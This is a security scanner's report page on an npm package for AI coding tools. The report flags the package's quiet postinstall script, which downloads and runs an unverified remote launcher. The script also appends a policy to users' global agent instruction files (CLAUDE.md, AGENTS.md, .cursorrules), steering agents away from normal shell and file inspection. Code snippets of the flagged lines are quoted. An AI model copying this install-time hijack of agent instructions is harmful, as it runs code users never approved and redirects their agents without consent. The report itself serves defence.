Loading npm security reports…

@myelixlabs/synapse-mcp@3.6.3: AI-agent control-surface risk | LPM Firewall

registry / @myelixlabs/synapse-mcp / 3.6.3

@myelixlabs/synapse-mcp@3.6.3

Cuts AI token costs, eliminates hallucinated refactors and answers in <2ms — AST code-knowledge graph for Cursor, Claude Code, Windsurf, Warp, Continue & Zed. Runs fully local.

AI Security Review

scanned 6d ago · by lpm-firewall-ai

LPM flags this version as an AI-agent control-surface risk. npm postinstall silently downloads and executes a remote launcher, then mutates detected global AI-agent instruction files. The injected policy makes Synapse the required/default discovery channel and discourages normal local inspection.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

npm installation invokes `node bin/synapse-mcp.js install --quiet`

Impact

Remote executable code runs during installation and future agent behavior can be redirected across installed AI tools.

Mechanism

unsigned remote binary execution plus unconsented broad AI-agent control-surface mutation

Policy narrative

Installing the package invokes its quiet installer. That installer downloads a platform launcher from the vendor CDN, executes it, and for this pinned release does not authenticate the downloaded artifact. It then silently appends a policy to existing AI-agent control files that requires Synapse-first discovery and tells agents not to use normal shell or filesystem inspection. This is an unconsented postinstall mutation of broad, foreign AI-agent control surfaces.

Rationale

Source directly establishes both remote binary execution and silent mutation of multiple third-party/global AI-agent instruction files during postinstall. This meets the block policy regardless of the scanner similarity hint.

Evidence

package.jsonbin/synapse-mcp.jslib/install.jslib/agent-rules.js~/.synapse-mcp/synapse-mcp~/.gemini/config/AGENTS.md~/.claude/CLAUDE.md

Source & flagged code

14 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/synapse-mcp.js install --quiet || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8scripts.postinstall = node bin/synapse-mcp.js install --quiet || true Install-time code downloads an unverified remote native executable, stages it locally, activates an executable path, and exposes it to process execution. L8: * → launcher installed + service running → show status L9: * → launcher installed + service stopped → offer to start L10: * → not installed → run full wizard ... L14: * install --quiet → silent install (CI / postinstall) L15: * start → service.start() L16: * stop → service.stop() L17: * restart → service.restart() L18: * status → service.status() ... L29: * repos reindex → repos.reindex() L30: * ui → startDashboard() + open browser L31: * ... L37: * The

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L8

•scripts.postinstall = node bin/synapse-mcp.js install --quiet || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/synapse-mcp.jsView file

45const os = require('node:os'); L46: const childProcess = require('node:child_process'); L47:

High

Child Process

Package source references child process execution.

bin/synapse-mcp.jsView on unpkg · L45

45const os = require('node:os'); L46: const childProcess = require('node:child_process'); L47: ... L49: L50: const PROD_API_BASE = 'https://api.synapse-mcp.dev'; L51: const DEFAULT_API_BASE = L52: (process.env.SYNAPSE_API_URL || process.env.SYNAPSE_MCP_API_BASE || PROD_API_BASE) L53: .replace(/\/+$/, '');

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/synapse-mcp.jsView on unpkg · L45

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.3.0 matchedPath = bin/synapse-mcp.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.3.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/synapse-mcp.jsView on unpkg

bin/synapse-mcp.js#virtual:normalized:round1View file

614probePort: async (port) => { L615: const http = require("node:http"); L616: return new Promise((resolve) => { ... L622: req.setTimeout(2000, () => { req.destroy(); resolve(false); }); L623: req.end(); L624: }); L625: }, L626: // Why callMcp injectable: tests inject a fast no-op so richStatus() doesn"t\n // hit the real MCP server (which can take 6-13s for the full status scan).\n callMcp: asy... L627: setImmediate(async () => {

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

bin/synapse-mcp.js#virtual:normalized:round1View on unpkg · L614

614Trigger-reachable command-output exfiltration chain: scripts.postinstall -> bin/synapse-mcp.js L614: probePort: async (port) => { L615: const http = require("node:http"); L616: return new Promise((resolve) => { ... L622: req.setTimeout(2000, () => { req.destroy(); resolve(false); }); L623: req.end(); L624: }); L625: }, L626: // Why callMcp injectable: tests inject a fast no-op so richStatus() doesn"t\n // hit the real MCP server (which can take 6-13s for the full status scan).\n callMcp: asy... L627: setImmediate(async () => {

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

bin/synapse-mcp.js#virtual:normalized:round1View on unpkg · L614

lib/service.jsView file

25const os = require('node:os'); L26: const childProcess = require('node:child_process'); L27: const http = require('node:http'); L28: ... L43: L44: function homeDir() { L45: return process.env.HOME || process.env.USERPROFILE || os.homedir(); L46: } ... L63: L64: function stdoutLog(installDir) { L65: return path.join(logDir(installDir), 'stdout.log'); ... L72: function launcherPath(installDir) {

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/service.jsView on unpkg · L25

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.3.0 matchedPath = lib/service.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.3.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/service.jsView on unpkg

lib/install.jsView file

251Install-time code directly mutates a foreign AI-agent control surface: L251: const buf = Buffer.from(await res.arrayBuffer()); L252: fs.writeFileSync(tmp, buf); L253: if (process.platform !== 'win32') fs.chmodSync(tmp, 0o755); ... L305: L306: fs.mkdirSync(installDir, { recursive: true }); L307: ... L379: const ruleTargets = [ L380: { path: require('path').join(homedir, '.gemini', 'config', 'AGENTS.md'), dirOnly: true }, L381: { path: require('path').join(homedir, '.claude', 'CLAUDE.md'), dirOnly: true }, L382: { path: require('path').join(homedir, '.cursorrules'), parentDir: require('path').join(homedir, '.cursor') }, L383: { path: require('path').join(homedir, '.windsurfrules'), parentDir: require('path').join(homedir, '.codeium', 'windsurf') }, L384: { path: require('path').join(homedi

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

lib/install.jsView on unpkg · L251

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.3.0 matchedPath = lib/install.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.3.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/install.jsView on unpkg

lib/server.jsView file

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.6.2 matchedPath = lib/server.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.6.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/server.jsView on unpkg

lib/auth.jsView file

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.6.2 matchedPath = lib/auth.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.6.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/auth.jsView on unpkg

Source & flagged code

14 flagged

package.jsonView file

•scripts.postinstall = node bin/synapse-mcp.js install --quiet || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8scripts.postinstall = node bin/synapse-mcp.js install --quiet || true Install-time code downloads an unverified remote native executable, stages it locally, activates an executable path, and exposes it to process execution. L8: * → launcher installed + service running → show status L9: * → launcher installed + service stopped → offer to start L10: * → not installed → run full wizard ... L14: * install --quiet → silent install (CI / postinstall) L15: * start → service.start() L16: * stop → service.stop() L17: * restart → service.restart() L18: * status → service.status() ... L29: * repos reindex → repos.reindex() L30: * ui → startDashboard() + open browser L31: * ... L37: * The

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L8

•scripts.postinstall = node bin/synapse-mcp.js install --quiet || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/synapse-mcp.jsView file

Lines 25-65javascript

25 * repos add → repos.add()

26 * repos archive → repos.archive()

27 * repos restore → repos.restore()

28 * repos remove → repos.remove()

29 *

bin/synapse-mcp.js#virtual:normalized:round1View file

614probePort: async (port) => { L615: const http = require("node:http"); L616: return new Promise((resolve) => { ... L622: req.setTimeout(2000, () => { req.destroy(); resolve(false); }); L623: req.end(); L624: }); L625: }, L626: // Why callMcp injectable: tests inject a fast no-op so richStatus() doesn"t\n // hit the real MCP server (which can take 6-13s for the full status scan).\n callMcp: asy... L627: setImmediate(async () => {

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

bin/synapse-mcp.js#virtual:normalized:round1View on unpkg · L614

614Trigger-reachable command-output exfiltration chain: scripts.postinstall -> bin/synapse-mcp.js L614: probePort: async (port) => { L615: const http = require("node:http"); L616: return new Promise((resolve) => { ... L622: req.setTimeout(2000, () => { req.destroy(); resolve(false); }); L623: req.end(); L624: }); L625: }, L626: // Why callMcp injectable: tests inject a fast no-op so richStatus() doesn"t\n // hit the real MCP server (which can take 6-13s for the full status scan).\n callMcp: asy... L627: setImmediate(async () => {

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

bin/synapse-mcp.js#virtual:normalized:round1View on unpkg · L614

lib/service.jsView file

Lines 5-45javascript

5 *

6 * Responsibilities:

7 * start() — spawn launcher with --http --port <port>, detach, write PID file,

8

lib/install.jsView file

Lines 231-271javascript

231

232/**

233 * Download a launcher binary via Node's built-in fetch.

234 *

235 * Why fetch (not curl): CI images like node:20-slim and many minimal

236 * environments do not ship curl. Node >=18 (our engines floor) provides

237 * fetch, so we avoid an external binary dependency for postinstall.

238 */

239async function downloadArtifact(url

lib/server.jsView file

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.6.2 matchedPath = lib/server.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.6.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/server.jsView on unpkg

lib/auth.jsView file

•matchType = normalized_sha256 matchedPackage = @myelixlabs/synapse-mcp@3.6.2 matchedPath = lib/auth.js matchedIdentity = npm:QG15ZWxpeGxhYnMvc3luYXBzZS1tY3A:3.6.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/auth.jsView on unpkg